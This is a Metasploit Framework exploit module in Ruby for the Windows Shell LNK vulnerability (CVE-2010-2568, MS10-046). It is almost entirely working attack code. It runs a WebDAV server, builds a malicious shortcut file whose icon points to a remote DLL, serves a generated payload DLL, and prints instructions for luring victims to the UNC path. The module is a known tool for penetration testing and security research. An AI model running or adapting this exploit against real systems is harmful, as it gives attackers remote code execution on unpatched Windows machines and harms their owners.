Microsoft Windows Shell LNK Code Execution



##

# $Id: ms10_046_shortcut_icon_dllloader.rb 10404 2010-09-21 00:13:30Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    #
    # This module acts as an HTTP server
    #
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'Microsoft Windows Shell LNK Code Execution',
            'Description'    => %q{
                    This module exploits a vulnerability in the handling of Windows
                Shortcut files (.LNK) that contain an icon resource pointing to a
                malicious DLL. This module creates a WebDAV service that can be used
                to run an arbitrary payload when accessed as a UNC path.
            },
            'Author'        =>
                [
                    'hdm',   # Module itself
                    'jduck', # WebDAV implementation, UNCHOST var
                    'B_H'    # Clean LNK template
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10404 $',
            'References'    =>
                [
                    ['CVE', '2010-2568'],
                    ['OSVDB', '66387'],
                    ['MSB', 'MS10-046'],
                    ['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx']
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 2048,
                },
            'Platform'        => 'win',
            'Targets'        =>
                [
                    [ 'Automatic',    { } ]
                ],
            'DisclosureDate' => 'Jul 16 2010',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptPort.new(    'SRVPORT',         [ true,  "The daemon port to listen on (do not change)", 80 ]),
                OptString.new(    'URIPATH',         [ true,  "The URI to use (do not change).", "/" ]),
                OptString.new( 'UNCHOST',      [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
            ], self.class)

        deregister_options('SSL', 'SSLVersion') # Just for now
    end

    def on_request_uri(cli, request)

        case request.method
        when 'OPTIONS'
            process_options(cli, request)
        when 'PROPFIND'
            process_propfind(cli, request)
        when 'GET'
            process_get(cli, request)
        else
            print_error("Unexpected request method encountered: #{request.method}")
            resp = create_response(404, "Not Found")
            resp.body = ""
            resp['Content-Type'] = 'text/html'
            cli.send_response(resp)
        end

    end

    def process_get(cli, request)

        myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        webdav = "\\\\#{myhost}\\"

        if (request.uri =~ /\.dll$/i)
            print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."
            return if ((p = regenerate_payload(cli)) == nil)
            data = generate_payload_dll({ :code => p.encoded })
            send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
            return
        end

        if (request.uri =~ /\.lnk$/i)
            print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."

            data = generate_link("#{@exploit_unc}#{@exploit_dll}")

            send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
            return
        end

        print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."
        resp = create_response(200, "OK")

        resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}"></head><body></body></html>|

        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
    end

    #
    # OPTIONS requests sent by the WebDav Mini-Redirector
    #
    def process_options(cli, request)
        print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
        headers = {
            'MS-Author-Via' => 'DAV',
#            'DASL'          => '<DAV:sql>',
#            'DAV'           => '1, 2',
            'Allow'         => 'OPTIONS, GET, PROPFIND',
            'Public'        => 'OPTIONS, GET, PROPFIND'
        }
        resp = create_response(207, "Multi-Status")
        resp.body = ""
        resp['Content-Type'] = 'text/xml'
        cli.send_response(resp)
    end

    #
    # PROPFIND requests sent by the WebDav Mini-Redirector
    #
    def process_propfind(cli, request)
        path = request.uri
        print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
        body = ''

        my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        my_uri    = "http://#{my_host}/"

        if path =~ /\.dll$/i
            # Response for the DLL
            print_status("Sending DLL multistatus for #{path} ...")
            body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

            resp = create_response(207, "Multi-Status")
            resp.body = body
            resp['Content-Type'] = 'text/xml'
            cli.send_response(resp)
            return
        end

        if path =~ /\.lnk$/i
            # Response for the DLL
            print_status("Sending DLL multistatus for #{path} ...")
            body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

            resp = create_response(207, "Multi-Status")
            resp.body = body
            resp['Content-Type'] = 'text/xml'
            cli.send_response(resp)
            return
        end

        if path !~ /\/$/

            if path.index(".")
                print_status("Sending 404 for #{path} ...")
                resp = create_response(404, "Not Found")
                resp['Content-Type'] = 'text/html'
                cli.send_response(resp)
                return
            else
                print_status("Sending 301 for #{path} ...")
                resp = create_response(301, "Moved")
                resp["Location"] = path + "/"
                resp['Content-Type'] = 'text/html'
                cli.send_response(resp)
                return
            end
        end

        print_status("Sending directory multistatus for #{path} ...")
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
        <D:href>#{path}</D:href>
        <D:propstat>
            <D:prop>
                <lp1:resourcetype><D:collection/></lp1:resourcetype>
                <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
                <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
                <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
                <D:supportedlock>
                    <D:lockentry>
                        <D:lockscope><D:exclusive/></D:lockscope>
                        <D:locktype><D:write/></D:locktype>
                    </D:lockentry>
                    <D:lockentry>
                        <D:lockscope><D:shared/></D:lockscope>
                        <D:locktype><D:write/></D:locktype>
                    </D:lockentry>
                </D:supportedlock>
                <D:lockdiscovery/>
                <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
            </D:prop>
        <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
</D:response>
|


        subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

        files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
        if request["Depth"].to_i > 0
            if path.scan("/").length < 2
                body << subdirectory
            else
                body << files
            end
        end

        body << "</D:multistatus>"

        body.gsub!(/\t/, '')

        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
    end

    def generate_link(unc)
        uni_unc = unc.unpack("C*").pack("v*")
        path = ''
        path << [
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00
        ].pack("C*")
        path << uni_unc

        # LinkHeader
        ret = [
            0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
        ].pack('C*')

        idlist_data = ''
        idlist_data << [0x12 + 2].pack('v')
        idlist_data << [
            0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
            0x30, 0x9d
        ].pack('C*')
        idlist_data << [0x12 + 2].pack('v')
        idlist_data << [
            0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
            0x30, 0x9d
        ].pack('C*')
        idlist_data << [path.length + 2].pack('v')
        idlist_data << path
        idlist_data << [0x00].pack('v') # TERMINAL WOO

        # LinkTargetIDList
        ret << [idlist_data.length].pack('v') # IDListSize
        ret << idlist_data

        # ExtraData blocks (none)
        ret << [rand(4)].pack('V')

        # Patch in the LinkFlags
        ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')
        ret
    end

    def exploit

        unc = "\\\\"
        if (datastore['UNCHOST'])
            unc << datastore['UNCHOST'].dup
        else
            unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
        end
        unc << "\\"
        unc << rand_text_alpha(rand(8)+4)
        unc << "\\"

        @exploit_unc  = unc
        @exploit_lnk  = rand_text_alpha(rand(8)+4) + ".lnk"
        @exploit_dll  = rand_text_alpha(rand(8)+4) + ".dll"

        if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
            raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
        end

        print_status("")
        print_status("Send vulnerable clients to #{@exploit_unc}.")
        print_status("Or, get clients to save and render the icon of http://<your host>/<anything>.lnk")
        print_status("")

        super
    end
end